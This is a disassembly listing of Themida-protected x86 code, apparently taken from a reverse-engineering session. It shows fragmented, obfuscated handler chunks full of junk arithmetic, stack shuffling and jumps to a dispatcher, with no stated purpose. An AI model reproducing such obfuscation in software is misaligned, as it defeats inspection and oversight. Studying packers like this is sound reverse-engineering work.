loc_556D7A:				; CODE XREF: Themida_:00553D7Cj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_552896
; ---------------------------------------------------------------------------


loc_556D91:				; CODE XREF: Themida_:0055C47Aj
		mov	ebx, 7FA215B9h
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7FA215B9h
		add	esi, 38C5671Eh
		sub	esi, ecx
		sub	esi, 38C5671Eh
		pop	ecx
		pop	eax
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4


loc_556DC1:				; CODE XREF: Themida_:0055BEE3j
		push	ebx
		push	edi
		jmp	loc_555E5D
; ---------------------------------------------------------------------------


loc_556DC8:				; CODE XREF: Themida_:0055A6C4j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_557B3A
; ---------------------------------------------------------------------------


loc_556DE4:				; CODE XREF: Themida_:00559F80j
		sub	esp, 4
		jmp	loc_552032
; ---------------------------------------------------------------------------


loc_556DEC:				; CODE XREF: Themida_:005588B2j
		push	edx
		mov	edx, 702A1F8Fh
		inc	edx
		inc	edx
		dec	edx
		dec	edx
		or	edx, 21369DAh
		xor	edx, 37A31B5Eh
		sub	eax, 66EE1FDEh
		sub	eax, edx
		add	eax, 66EE1FDEh
		pop	edx
		sub	edi, 7391633Ch
		add	edi, eax
		add	edi, 7391633Ch
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	edi, 0A724D66h
		add	edi, ebp
		sub	edi, 0A724D66h
		jmp	loc_559B72
; ---------------------------------------------------------------------------


loc_556E3C:				; CODE XREF: Themida_:00558CB9j
		sub	bl, ah
		pop	eax
		jmp	loc_555A79
; ---------------------------------------------------------------------------


loc_556E44:				; CODE XREF: Themida_:00555F74j
		push	dword ptr [esp+4]
		jmp	loc_55908E
; ---------------------------------------------------------------------------


loc_556E4D:				; CODE XREF: Themida_:0055AB9Cj
		push	0C92h
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		push	3781h
		jmp	loc_55619E
; ---------------------------------------------------------------------------


loc_556E65:				; CODE XREF: Themida_:00559846j
		btr	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556E70:				; CODE XREF: Themida_:0055B2E7j
		add	ebx, eax
		sub	ebx, 7EA337F0h
		jmp	loc_55A833
; ---------------------------------------------------------------------------


loc_556E7D:				; CODE XREF: Themida_:0055DE62j
		sub	ebx, 5B864D23h
		or	ebx, 82E7CFBh
		push	esi
		push	edx
		mov	edx, 5C9417E0h
		mov	esi, edx
		pop	edx
		and	esi, 64451Ch
		jmp	loc_556FA7
; ---------------------------------------------------------------------------


loc_556E9E:				; CODE XREF: Themida_:0055B837j
		mov	ecx, esp
		jmp	loc_55B8DA
; ---------------------------------------------------------------------------


loc_556EA5:				; CODE XREF: Themida_:0055266Ej
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5580E9
; ---------------------------------------------------------------------------


loc_556EB2:				; CODE XREF: Themida_:0055AF93j
		add	edi, 0FFFFFFFFh
		shr	edi, 3
		inc	edi
		push	esi
		push	edi
		mov	edi, 37745797h
		mov	esi, 12672EA4h
		jmp	loc_559728
; ---------------------------------------------------------------------------


loc_556ECA:				; CODE XREF: Themida_:00556424j
		add	edi, eax
		jmp	loc_55DB07
; ---------------------------------------------------------------------------


loc_556ED1:				; CODE XREF: Themida_:0055500Aj
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55D6E1
; ---------------------------------------------------------------------------


loc_556EDB:				; CODE XREF: Themida_:0055915Dj
		neg	esi
		dec	esi
		not	esi
		jmp	loc_55D06A
; ---------------------------------------------------------------------------


loc_556EE5:				; CODE XREF: Themida_:00552C4Cj
		sub	edi, 164911BFh
		jmp	loc_55DD44
; ---------------------------------------------------------------------------


loc_556EF0:				; CODE XREF: Themida_:005594F9j
		dec	eax
		xor	eax, 0C8D1A857h
		or	esi, eax
		pop	eax
		dec	esi
		jmp	loc_555EFB
; ---------------------------------------------------------------------------


loc_556EFF:				; CODE XREF: Themida_:0055D827j
		not	edx
		inc	edx
		push	ecx
		jmp	loc_55AA63
; ---------------------------------------------------------------------------


loc_556F08:				; CODE XREF: Themida_:00555E7Dj
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556F14:				; CODE XREF: Themida_:00554343j
		inc	edi
		xor	edi, 0E35FC5B3h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	edx, 7
		xor	edx, 28341984h
		sub	esi, 4DD361F8h
		add	esi, edx
		add	esi, 4DD361F8h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B471
; ---------------------------------------------------------------------------


loc_556F48:				; CODE XREF: Themida_:00559A65j
		pop	esp
		jmp	loc_5567B0
; ---------------------------------------------------------------------------


loc_556F4E:				; CODE XREF: Themida_:005593FBj
		mov	edi, 4
		add	ebp, 48647182h
		add	ebp, edi
		sub	ebp, 48647182h
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D195
; ---------------------------------------------------------------------------


loc_556F6E:				; CODE XREF: Themida_:0055668Bj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebp
		push	ecx
		push	2B7F177Fh
		pop	ecx
		push	edi
		mov	edi, 0D480E885h
		add	ecx, edi
		pop	edi
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_554537
; ---------------------------------------------------------------------------


loc_556F94:				; CODE XREF: Themida_:00555E0Aj
		mov	bl, 3Ah
		mov	cl, bl
		pop	ebx
		or	cl, 5Eh
		add	cl, 0D8h
		mov	dl, cl
		pop	ecx
		jmp	loc_554FF8
; ---------------------------------------------------------------------------


loc_556FA7:				; CODE XREF: Themida_:00556E99j
		inc	esi
		add	esi, 18301C22h
		and	esi, 7B192706h
		not	esi
		push	ebp
		mov	ebp, 3DAA27FFh
		and	ebp, 788712F7h
		shr	ebp, 7
		jmp	loc_558B5F
; ---------------------------------------------------------------------------


loc_556FCA:				; CODE XREF: Themida_:0055BDABj
		mov	edx, esp
		jmp	loc_55ABA1
; ---------------------------------------------------------------------------


loc_556FD1:				; CODE XREF: Themida_:00559D76j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_553AB3
; ---------------------------------------------------------------------------


loc_556FE5:				; CODE XREF: Themida_:0055C9CCj
		mov	edi, 1D7949CAh
		not	edi
		not	edi
		shr	edi, 5
		not	edi
		jmp	loc_555915
; ---------------------------------------------------------------------------


loc_556FF8:				; CODE XREF: Themida_:0055CC6Aj
		add	esp, 4
		add	ebx, 6D3604C6h
		add	ebx, ecx
		jmp	loc_556B0F
; ---------------------------------------------------------------------------


loc_55700B:				; CODE XREF: Themida_:0055889Ej
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55B72D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55702F:				; CODE XREF: Themida_:0055D4C5j
		sub	edx, ecx
		sub	edx, 62141AD6h
		pop	ecx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55703D:				; CODE XREF: Themida_:0055AE59j
		mov	edx, 7C1A467Bh
		sub	edx, 37F0061h
		push	edi
		mov	edi, 746B1466h
		jmp	loc_554341
; ---------------------------------------------------------------------------


loc_557053:				; CODE XREF: Themida_:005537BAj
		sub	ecx, ebx
		pop	ebx
		jmp	loc_55A971
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_557AA8
; ---------------------------------------------------------------------------


loc_55706A:				; CODE XREF: Themida_:0055A82Ej
		mov	[esp], ebp
		push	82244C9h
		pop	ebp
		sub	ebp, 82157E9h
		xor	ebp, 41B5DC4Ah
		jmp	loc_557F90
; ---------------------------------------------------------------------------


loc_557084:				; CODE XREF: Themida_:0055D940j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55DAA3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7302h
		mov	[esp], eax
		push	esi
		jmp	loc_5569B6
; ---------------------------------------------------------------------------


loc_5570A4:				; CODE XREF: Themida_:0055245Aj
		mov	ebx, 30135F90h
		jmp	loc_55206B
; ---------------------------------------------------------------------------


loc_5570AE:				; CODE XREF: Themida_:0055DD4Cj
		pop	edi
		jmp	loc_557E93
; ---------------------------------------------------------------------------


loc_5570B4:				; CODE XREF: Themida_:005535A4j
		mov	ecx, 4715A2Eh
		or	ecx, 1233737Eh
		xor	ecx, 16737B7Ah
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55D8B8
; ---------------------------------------------------------------------------


loc_5570E0:				; CODE XREF: Themida_:00553CA8j
		push	8F8h
		mov	[esp], eax
		jmp	loc_55A224
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55464B
; ---------------------------------------------------------------------------


loc_5570F9:				; CODE XREF: Themida_:00556272j
		mov	ebx, 477225EAh
		sub	ebx, 24A531D7h
		jmp	loc_55B9A1
; ---------------------------------------------------------------------------


loc_557109:				; CODE XREF: Themida_:00559C70j
		add	edx, ecx
		sub	edx, 3FDB7ABEh
		jmp	loc_553286
; ---------------------------------------------------------------------------


loc_557116:				; CODE XREF: Themida_:0055A536j
		pop	dword ptr [esp]
		pop	esp
		push	7C9Dh
		mov	[esp], edi
		mov	edi, 54330269h
		jmp	loc_558406
; ---------------------------------------------------------------------------


loc_55712C:				; CODE XREF: Themida_:0055CB3Bj
		mov	ebp, 0FFABDC72h
		add	esi, ebp
		pop	ebp
		sub	edx, esi
		pop	esi
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55713C:				; CODE XREF: Themida_:00555A8Ej
		mov	[esp], ecx
		push	edi
		mov	edi, 239A4871h
		mov	ecx, edi
		pop	edi
		shl	ecx, 2
		jmp	loc_556A12
; ---------------------------------------------------------------------------


loc_557150:				; CODE XREF: Themida_:005572E3j
		push	edx
		jmp	loc_553E35
; ---------------------------------------------------------------------------


loc_557156:				; CODE XREF: Themida_:0055B7B9j
		sub	al, 53h
		add	al, bl
		push	ecx
		mov	cl, 53h
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		mov	bx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_55429B
; ---------------------------------------------------------------------------


loc_55717D:				; CODE XREF: Themida_:0055B3D9j
		pop	eax
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_555749
; ---------------------------------------------------------------------------


loc_557193:				; CODE XREF: Themida_:0055560Ej
		add	esp, 2
		add	al, bh
		pop	ebx
		push	ebx
		mov	bh, 0FCh
		inc	bh
		dec	bh
		not	bh
		push	eax
		push	0BEh
		mov	[esp], ecx
		mov	ch, 4Eh
		add	ch, 98h
		jmp	loc_55B9F0
; ---------------------------------------------------------------------------


loc_5571B5:				; CODE XREF: Themida_:00558EA6j
		neg	bx
		jmp	loc_55A70B
; ---------------------------------------------------------------------------


loc_5571BD:				; CODE XREF: Themida_:0055B6E2j
		xor	dl, 39h
		or	dl, 0
		add	dl, 6Eh
		push	eax
		mov	al, 7Dh
		xor	al, 94h
		jmp	loc_558E45
; ---------------------------------------------------------------------------


loc_5571D0:				; CODE XREF: Themida_:00559CB2j
		shr	edx, 4
		jmp	loc_5567FF
; ---------------------------------------------------------------------------


loc_5571D8:				; CODE XREF: Themida_:00556785j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_553C77
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5571F9:				; CODE XREF: Themida_:0055A6BBj
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		sub	esp, 4
		jmp	loc_555DBC
; ---------------------------------------------------------------------------


loc_55720D:				; CODE XREF: Themida_:0055ABC8j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_55CD0C
; ---------------------------------------------------------------------------


loc_557228:				; CODE XREF: Themida_:005554C5j
		xor	dl, ah
		jmp	loc_559948
; ---------------------------------------------------------------------------


loc_55722F:				; CODE XREF: Themida_:0055B3BAj
		pop	eax
		inc	edi
		shr	edi, 2
		jmp	loc_559135
; ---------------------------------------------------------------------------


loc_557239:				; CODE XREF: Themida_:005532E5j
		add	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_5582B1
; ---------------------------------------------------------------------------


loc_557242:				; CODE XREF: Themida_:005584A5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	3D67h
		mov	[esp], ebx
		mov	bl, 0CDh
		jmp	loc_55D002
; ---------------------------------------------------------------------------


loc_557258:				; CODE XREF: Themida_:00551B93j
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 48A52AEBh
		inc	eax
		jmp	loc_557AEA
; ---------------------------------------------------------------------------


loc_557270:				; CODE XREF: Themida_:0055B1C4j
		mul	cx
		push	esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_5576A6
; ---------------------------------------------------------------------------


loc_55728A:				; CODE XREF: Themida_:0055DEC2j
		or	esi, 7E5833A9h
		shr	esi, 8
		not	esi
		push	ecx
		jmp	loc_555B9C
; ---------------------------------------------------------------------------


loc_55729B:				; CODE XREF: Themida_:00554765j
		sub	eax, 0A1A0A7B2h
		jmp	loc_55476A
; ---------------------------------------------------------------------------


loc_5572A5:				; CODE XREF: Themida_:00552484j
		push	eax
		mov	eax, 0D7F7359h
		mov	edx, 1660730Eh
		jmp	loc_5552EA
; ---------------------------------------------------------------------------


loc_5572B5:				; CODE XREF: Themida_:005531E0j
		mov	edi, 53947h
		jmp	loc_555FD9
; ---------------------------------------------------------------------------


loc_5572BF:				; CODE XREF: Themida_:0055C959j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	dword ptr [esp], 18384E75h
		jmp	loc_558519
; ---------------------------------------------------------------------------


loc_5572D7:				; CODE XREF: Themida_:00555B76j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_557150
; ---------------------------------------------------------------------------


loc_5572E8:				; CODE XREF: Themida_:00558BA8j
		pop	edi
		sub	eax, 67361DFAh
		add	eax, ebp
		add	eax, 67361DFAh
		push	ecx
		mov	ecx, 2B28239Ah
		sub	eax, ecx
		pop	ecx
		pop	ebp
		sub	eax, 4
		jmp	loc_55A1FC
; ---------------------------------------------------------------------------


loc_557307:				; CODE XREF: Themida_:00554578j
		mov	edx, 5F0E76A2h
		jmp	loc_551D2B
; ---------------------------------------------------------------------------


loc_557311:				; CODE XREF: Themida_:0055960Dj
		push	2817h
		mov	[esp], ebp
		mov	ebp, 229F1993h
		sub	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 34B6034Bh
		sub	esi, eax
		pop	eax
		sub	esi, 160B664Eh
		add	esi, eax
		push	ebx
		mov	ebx, 63BF6298h
		dec	ebx
		sub	ebx, 4DB3FC49h
		add	esi, ebx
		pop	ebx
		jmp	loc_55C7B4
; ---------------------------------------------------------------------------


loc_557347:				; CODE XREF: Themida_:0055C91Fj
		add	edi, edx
		pop	edx
		add	edi, 37501B45h
		jmp	loc_557DA1
; ---------------------------------------------------------------------------


loc_557355:				; CODE XREF: Themida_:0055A706j
		add	ecx, 0BEE8B485h
		add	ebp, ecx
		jmp	loc_552F9A
; ---------------------------------------------------------------------------


loc_557362:				; CODE XREF: Themida_:00552441j
		push	ebp
		mov	ebp, 77640689h
		jmp	loc_55792E
; ---------------------------------------------------------------------------


loc_55736D:				; CODE XREF: Themida_:0055CC8Fj
		sub	esp, 4
		jmp	loc_55B83C
; ---------------------------------------------------------------------------


loc_557378:				; CODE XREF: Themida_:0055A7D3j
		mov	edi, 0B075DAAh
		sub	edi, 484500F7h
		dec	edi
		push	eax
		mov	eax, 2A4B79C3h
		jmp	loc_557C4C
; ---------------------------------------------------------------------------


loc_55738F:				; CODE XREF: Themida_:00554235j
		push	edx
		sub	dword ptr [esp], 62D62065h
		pop	edi
		add	edi, 62D62065h
		mov	edx, [esp]
		jmp	loc_559C75
; ---------------------------------------------------------------------------


loc_5573A6:				; CODE XREF: Themida_:00558F72j
		mov	[esp], ebx
		mov	bl, 0FEh
		add	al, 19h
		add	al, bl
		push	ebx
		mov	bl, 52h
		push	edx
		mov	dl, 82h
		add	dl, 0C9h
		xor	bl, dl
		pop	edx
		sub	al, bl
		jmp	loc_5547F5
; ---------------------------------------------------------------------------


loc_5573C2:				; CODE XREF: Themida_:0055E05Ej
		mov	eax, [esp]
		push	74EBh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_552446
; ---------------------------------------------------------------------------


loc_5573E3:				; CODE XREF: Themida_:00554EB1j
		xor	esi, [esp]
		jmp	loc_55B600
; ---------------------------------------------------------------------------


loc_5573EB:				; CODE XREF: Themida_:00554AEBj
		pop	esi
		jmp	loc_557908
; ---------------------------------------------------------------------------


loc_5573F1:				; CODE XREF: Themida_:00558FFAj
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 5
		push	ebx
		jmp	loc_55A8FA
; ---------------------------------------------------------------------------


loc_5573FD:				; CODE XREF: Themida_:00558F7Cj
		or	ecx, 5A2A09B8h
		push	ebp
		jmp	loc_55B239
; ---------------------------------------------------------------------------


loc_557409:				; CODE XREF: Themida_:00554D2Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556D6F
; ---------------------------------------------------------------------------


loc_557420:				; CODE XREF: Themida_:00558C36j
		add	esi, 0FCFABEE2h
		mov	ebx, esi
		pop	esi
		sub	edi, ebx
		pop	ebx
		jmp	loc_552DF7
; ---------------------------------------------------------------------------


loc_557431:				; CODE XREF: Themida_:0055A271j
		push	58694733h
		jmp	loc_556298
; ---------------------------------------------------------------------------


loc_55743B:				; CODE XREF: Themida_:005559F1j
		push	1BC9h
		mov	[esp], ebp
		jmp	loc_5554F2
; ---------------------------------------------------------------------------


loc_557448:				; CODE XREF: Themida_:00551CF1j
		push	esi
		mov	esi, 63CF67EBh
		jmp	loc_554DD7
; ---------------------------------------------------------------------------


loc_557453:				; CODE XREF: Themida_:0055A47Fj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4527h
		mov	[esp], ecx
		mov	ecx, 2F112E1Bh
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_553DD7
; ---------------------------------------------------------------------------


loc_55748A:				; CODE XREF: Themida_:0055C5DFj
		push	small 1E8h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55749E:				; CODE XREF: Themida_:0055C66Fj
		push	ecx
		mov	ecx, 24h
		push	edx
		mov	edx, 705572C3h
		push	esi
		mov	esi, 66F0547Fh
		or	esi, 44E3E48h
		add	esi, 0C023DAC1h
		sub	ecx, esi
		jmp	loc_55A0A9
; ---------------------------------------------------------------------------


loc_5574C3:				; CODE XREF: Themida_:0055A7A1j
		mov	[esp], ecx
		jmp	loc_555923
; ---------------------------------------------------------------------------


loc_5574CB:				; CODE XREF: Themida_:00558182j
		pop	edi
		push	4075h
		mov	[esp], ecx
		push	ebx
		push	edx
		mov	edx, 5955785Fh
		jmp	loc_555FE9
; ---------------------------------------------------------------------------


loc_5574E0:				; CODE XREF: Themida_:005555EEj
		mov	[esp], esi
		mov	esi, 0A2E0C168h
		push	esi
		sub	dword ptr [esp], 464664E1h
		pop	edx
		add	edx, 464664E1h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556599
; ---------------------------------------------------------------------------


loc_557505:				; CODE XREF: Themida_:00554EDBj
		neg	edi
		add	edi, 9EB90863h
		jmp	loc_551F6D
; ---------------------------------------------------------------------------


loc_557512:				; CODE XREF: Themida_:0055AAFDj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557517:				; CODE XREF: Themida_:0055C9E2j
		or	edi, 660824E8h
		sub	edi, 0B8E2959Fh
		jmp	loc_55CB7E
; ---------------------------------------------------------------------------


loc_557528:				; CODE XREF: Themida_:00553081j
		pop	ecx
		pop	ebx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55752F:				; CODE XREF: Themida_:00554B19j
		add	eax, 7653B2Ah
		shl	eax, 3
		jmp	loc_55A9B3
; ---------------------------------------------------------------------------


loc_55753C:				; CODE XREF: Themida_:0055C4FAj
		xor	ebp, ebx
		pop	ebx
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	0E39h
		jmp	loc_554A17
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	4C9Dh
		jmp	loc_55215F
; ---------------------------------------------------------------------------


loc_557569:				; CODE XREF: Themida_:00559723j
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_552820
; ---------------------------------------------------------------------------


loc_557580:				; CODE XREF: Themida_:00552E4Fj
		mov	[esp], ebx
		mov	ebx, 796D1490h
		jmp	loc_55247D
; ---------------------------------------------------------------------------


loc_55758D:				; CODE XREF: Themida_:00558605j
		sub	eax, edi
		pop	edi
		jmp	loc_55BAE5
; ---------------------------------------------------------------------------


loc_557595:				; CODE XREF: Themida_:00551D53j
		add	esp, 4
		push	edi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edi
		push	8A12284h
		pop	edi
		jmp	loc_5599F5
; ---------------------------------------------------------------------------


loc_5575BD:				; CODE XREF: Themida_:0055CD8Fj
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	4351h
		jmp	loc_556981
; ---------------------------------------------------------------------------


loc_5575DB:				; CODE XREF: Themida_:00552023j
		sub	eax, 4E6D5F79h
		jmp	loc_5532A2
; ---------------------------------------------------------------------------


loc_5575E5:				; CODE XREF: Themida_:00557C69j
		xor	al, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55D931
; ---------------------------------------------------------------------------


loc_5575F2:				; CODE XREF: Themida_:00551E7Aj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558FC9
; ---------------------------------------------------------------------------


loc_5575FF:				; CODE XREF: Themida_:0055AD24j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ecx, 4
		jmp	loc_555AE8
; ---------------------------------------------------------------------------


loc_55760E:				; CODE XREF: Themida_:0055B4DDj
		pop	ecx


loc_55760F:				; CODE XREF: Themida_:00559868j
		push	73B0h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	650Ch
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_55B506
; ---------------------------------------------------------------------------


loc_557635:				; CODE XREF: Themida_:005528BAj
		add	esp, 4
		inc	ecx
		push	ebx
		push	12C57119h
		jmp	loc_55CD94
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55BD50
; ---------------------------------------------------------------------------


loc_55764D:				; CODE XREF: Themida_:005558CFj
		add	esp, 2
		sub	esp, 2
		mov	[esp], dx
		push	small word ptr [esp+2]
		mov	dx, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55766F:				; CODE XREF: Themida_:0055860Bj
		xor	eax, ebx
		push	edx
		push	6CBFh
		mov	[esp], edi
		mov	edi, 4580558Bh
		push	42E1h
		mov	[esp], edi
		add	dword ptr [esp], 6D10631Fh
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55594E
; ---------------------------------------------------------------------------


loc_5576A6:				; CODE XREF: Themida_:00557285j
		mov	edx, 323647ADh
		xor	edx, 423267EAh
		jmp	loc_55811B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5576B6:				; CODE XREF: sub_55656B-2541j
		push	ecx
		jmp	loc_5585A1
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5576BC:				; CODE XREF: Themida_:00553649j
		mov	ebp, 66CB025Ah
		and	edi, ebp
		pop	ebp
		jmp	loc_553369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5576C9:				; CODE XREF: sub_55656B-18FDj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 0FFFFFFFFh
		add	ebp, 7B3E5921h
		xor	ebp, 7644558Dh
		add	ebx, 480D0045h
		sub	ebx, ebp
		sub	ebx, 480D0045h
		pop	ebp
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558911
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5576FA:				; CODE XREF: Themida_:00559697j
		add	eax, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55DBC7
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 110Ah
		mov	[esp], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55771A:				; CODE XREF: Themida_:0055D89Ej
		mov	edi, esp
		add	edi, 4
		jmp	loc_5540F0
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 518E3F60h
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 70527BDBh
		push	ebx
		mov	ebx, 447A66D0h
		shr	ebx, 2
		and	ebx, 73D96F12h
		sub	ebx, 44E96B4Ch
		jmp	loc_559BB8
; ---------------------------------------------------------------------------


loc_557750:				; CODE XREF: Themida_:0055C4DAj
		dec	edi
		jmp	loc_55D99D
; ---------------------------------------------------------------------------


loc_557756:				; CODE XREF: Themida_:0055CD22j
		add	ebx, 2
		push	ebx
		jmp	loc_554D1A
; ---------------------------------------------------------------------------


loc_557762:				; CODE XREF: Themida_:0055B1D6j
		push	6CF0h
		mov	[esp], eax
		mov	eax, 0B3F2F8Ah
		push	eax
		add	dword ptr [esp], 415974FAh
		jmp	loc_558B77
; ---------------------------------------------------------------------------


loc_55777C:				; CODE XREF: Themida_:00556A30j
		add	[esp+4], ebp
		pop	ebp
		pop	edi
		push	30FCh
		mov	[esp], eax
		mov	eax, 69A75839h
		not	eax
		neg	eax
		jmp	loc_55C1C4
; ---------------------------------------------------------------------------


loc_557798:				; CODE XREF: Themida_:005582D6j
		add	eax, edi
		pop	edi
		jmp	loc_555B7B
; ---------------------------------------------------------------------------


loc_5577A0:				; CODE XREF: Themida_:0055DBEFj
		add	edx, 7DEA4835h
		or	edx, 79052F8Ah
		add	edx, 2AA4065h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	esi
		jmp	loc_55A2CC
; ---------------------------------------------------------------------------
		lodsb
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55C4FF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	72B7h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55640B
; ---------------------------------------------------------------------------


loc_5577EC:				; CODE XREF: Themida_:00555336j
		sub	al, ch
		jmp	loc_5569AD
; ---------------------------------------------------------------------------


loc_5577F3:				; CODE XREF: Themida_:0055D967j
		push	7BBCh
		mov	[esp], edx
		push	esp
		pop	edx
		push	3179h
		jmp	loc_558B29
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	53C0h
		mov	[esp], edi
		mov	edi, 72182343h
		shr	edi, 5
		sub	edi, 4CC4555Ch
		jmp	loc_55362F
; ---------------------------------------------------------------------------


loc_55782F:				; CODE XREF: Themida_:00553B97j
		mov	ecx, 76A519BDh
		push	edi
		mov	edi, 750E2D33h
		sub	ecx, edi
		pop	edi
		push	esi
		push	eax
		mov	eax, 23D92E8Dh
		mov	esi, eax
		pop	eax
		jmp	loc_55D7DF
; ---------------------------------------------------------------------------


loc_55784C:				; CODE XREF: Themida_:0055CB9Ej
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5549DD
; ---------------------------------------------------------------------------


loc_557866:				; CODE XREF: Themida_:00555D99j
		push	ebp
		sub	esp, 4
